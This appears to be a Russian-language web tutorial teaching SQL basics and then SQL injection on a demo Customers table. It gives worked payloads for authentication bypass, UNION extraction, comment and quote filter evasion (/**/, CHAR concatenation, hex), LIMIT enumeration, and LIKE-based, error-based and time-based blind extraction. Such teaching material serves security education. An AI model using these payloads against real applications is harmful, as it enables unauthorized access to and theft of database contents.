Почти слепая SQL инъекция.




CREATE, INSERT, DELETE

 

CREATE TABLE Customers (

CustomerID int,

Name varchar(255),

City varchar(255)

);

 

Insert into Customers (CustomerID, Name, City)

Values (1, 'A', 'Moscow'), (2, 'B', 'Moscow'), (3, 'C', 'Perm'), (4, 'D', 'Omsk'), (5, 'E', 'Perm'), (6, 'F', 'Omsk');

 

DELETE FROM Customers WHERE CustomerID > 4;

 

SELECT

 

SELECT * FROM Customers;

SELECT CustomerID, Name FROM Customers;

SELECT CustomerID, Name, 'a' FROM Customers;

SELECT * FROM Customers WHERE CustomerID > 0 OR City = 'Perm'

SELECT * FROM Customers WHERE CustomerID > 0 AND City = 'Perm'

SELECT * FROM 'Customers' WHERE CustomerID > 0 AND NOT City == 'Moscow'

 

SELECT * FROM Customers WHERE CustomerID > 0-- AND City = 'Perm'

 

UNION

 

SELECT * FROM 'demo' UNIONSELECT * FROM Customers;

SELECT * FROM 'demo' UNIONSELECT Name, City FROM Customers

SELECT * FROM 'demo' UNIONSELECT Name, City, 'a' FROM Customers

SELECT * FROM 'demo' WHERE id > 4 UNION SELECT * FROM Customers WHERE Customerid > 2;

Для использования UNION в большинстве БД типы соответствующих записей должны быть совместимы, количество колонок должно быть равным

 

SQL инъекция.

 

Инъекция – вид атаки, в ходе которой в результате атаки данные выполняются как код. Как это можно интерпретировать относительно SQL?

Введенные нами данные будут влиять на работу приложения, т.е. мы будем изменять условия выборки (или работы других операторов запроса). Наши данные (логин и пароль, например), будут непосредственно изменять логику работы скрипта.

 

Допустим, где-то в исходном коде нашего веб-приложения мы получаем данные о пользователе по введенному имени, т.е. примерно так:

 

SELECT * FROM Customers WHERE Name = ''

(то, что ввел пользователь, подставляется в кавычки)

Допустим, пользователь ввел А:

SELECT * FROM Customers WHERE Name = ' A '

Например, вывод возвращается пользователю в виде строки из таблицы.

(по сути это простая форма авторизации)

 

Предположим, есть некий пользователь, который хочет посмотреть все данные из таблицы.

SELECT * FROM Customers WHERE Name = ' ' OR 1==1-- '

 

Это базовая SQL инъекция, которую можно использовать, даже если вы плохо представляете механизм работы этого всего.

 

Допустим, мы не хотим смотреть на всю таблицу (вдруг она очень большая), а хотим узнать,

кто есть в таблице из города Moscow.

 

SELECT * FROM Customers WHERE Name = ' ' OR City = 'Moscow'-- '

 

В таком виде мы можем делать с таблицей все, что угодно.

 

Предположим, что нам нужна не данная таблица, а другая. Допустим, с теми же полями, но там находятся данные администраторов.

Тогда мы можем применить уже известный UNION.

 

Select * from Customers Where Name = ' ' UNION SELECT * from demo -- '

 

Фильтрация

 

Пусть теперь данные, которые вводит пользователь, фильтруются. Например, мы не можем вводить символ -. Тогда нужно искать другие способы комментирования – например, комментарий #, правда он поддерживается не во всех СУБД. Тогда эксплуатирование превращается в поиск нужного аналога.

Например, многострочный комментарий /*:

Select * from Customers Where Name = ' ' UNION SELECT * from Customers2/* '

Также обойти отсутствие комментария можно так:

Select * from Customers Where name=' ' or 'a'='a ' (кавычка уходит на символ)

 

А если нельзя вводить кавычки?

 

В некоторых версиях этот комментарий /* (или другой, смотрите для конкретной СУБД) и его закрывающую половину */ можно использовать как альтернативу кавычке. А еще комбинацию открывающий + закрывающий - вместо пробела.

Select * from Customers Where Name = ' '/**/UNION/**/SELECT/**/*/**/from /**/Customers2-- '

Или для MySQL (/*! – открывающий, */ - закрывающий):

Select * from Customers Where CustomerID = ' 0/*!*/or/*!*/1/*!*/=/*!*/1 '

 

Немного изменим условия – теперь нам нужно узнать никнейм по городу.

Select * from Customers Where Name = ' ' OR City = 'Moscow'-- '

Но если нам экранировали кавычки, то ввести строку обычным способом не получится. На помощь придет несколько альтернативных вариантов:

Select * from Customers Where Name = ' ' OR City = (CHAR(80) || CHAR(101) || CHAR(114) || CHAR(109))-- '

Это – конкатенация в Sqlite. В некоторых других есть функция CONCAT(), например. Работает примерно так же.

Но предположим и скобки нам использовать нельзя. Тогда мы можем записать строку в виде шестнадцатеричного числа, которое будет преобразовано СУБД.

Select * from Customers Where Name = ' ' OR City = 0x5065726D-- '

Первая кавычка в пейлоадах выше использована исключительно для того, чтобы не перегружать запись. Обойти ее введение можно другими описанными способами.

 

Теперь другое усложнение – нам не выводится вся таблица, а только первая запись. Тогда у нас несколько вариантов – или сделать так, чтобы первая запись оказалась нужной, или применить LIMIT.

Select * from Customers Where Name = ' ' OR City = 'Moscow' LIMIT 1,2 -- '

Запрос выведет вторую запись.

И так можно перебирать все записи таблицы, пока не найдем нужную.

 

Почти слепая SQL инъекция.

 

Для ее использования нам понадобится оператор LIKE. Он в какой-то степени заменяет символ ‘=’ с дополнительным функционалом – ищет по некоторому шаблону.

% - 0 или более символов

_ - ровно 1 символ

SELECT * FROM demo WHERE name LIKE 'Siz%'

SELECT * FROM demo WHERE name LIKE 'Siz_ table'

 

Итак, предположим, что нам возвращается только количество записей, удовлетворяющих запросу, а нам нужно выяснить значение поля города некоторого человека.

Для большего эмулирования ситуации будем использовать COUNT()

SELECT count(*) FROM 'Customers';

Допустим нам нужно узнать город пользователя с id = 1.

SELECT count(*) FROM 'Customers' WHERE Name = ' ' OR Customerid=1-- '

Добавляем выборку:

SELECT count(*) FROM 'Customers' WHERE Name = ' ' OR Customerid=1 AND City LIKE 'A%'-- '

0 записей

SELECT count(*) FROM 'Customers' WHERE Name = ' ' OR Customerid=1 AND City LIKE 'M%'-- '

1 запись

SELECT count(*) FROM 'Customers' WHERE Name = ' ' OR Customerid=1 AND City LIKE 'Mo%'-- '

1 запись

 

Перебираем далее аналогично.

 

Длина строки:

SELECT count(*) FROM 'Customers' WHERE Name = ' ' OR Customerid=1 AND Length(City) > 5 -- '

 

Если кавычки вводить нельзя – применяем один из предыдущих методов (конкатенация или хексы).

 

Слепая SQL инъекция

 

Однако бывают ситуации, когда нам не выводится вообще ничего (чистый слепой sqli). Тогда приходится применять или так называемые time-based или error-based запросы.

Error-based:

select (CASE WHEN sqlite_version() like '3.%' THEN 'here' ELSE (select 'a' from nottable) END)—

Однако может не сработать, если ошибки тоже перехватываются, тогда остается только time-based.

Time-based:

select (CASE WHEN sqlite_version() like '3.%' THEN 'here' ELSE randomblob(50000000) END)—

Функция randomblob(N) возвращает N-байтный объект с псевдорандомными байтами.

 

Есть и другие варианты организации этих инъекций (в том числе и более простые, с использованием IF, например). Главное, чтобы в Error-based у нас в одном случае возвращалась ошибка, а в другом – любая не-ошибка, а в Time-based в одном случае время ответа сервера было гораздо больше, чем в другом.

 

Заключение

 

Вообще потенциальное место для инъекции может быть в любом поле, где пользовательские данные влияют на вывод и где используются базы данных – в основном это, конечно, логин-формы. Чтобы проверить, есть ли SQLi, можно например подставить в поле строку вида: admin’. Если пользователь существует и инъекция есть, то выводом будет ошибка.



Поделиться:




Поиск по сайту

©2015-2024 poisk-ru.ru
Все права принадлежать их авторам. Данный сайт не претендует на авторства, а предоставляет бесплатное использование.
Дата создания страницы: 2019-03-02 Нарушение авторских прав и Нарушение персональных данных


Поиск по сайту: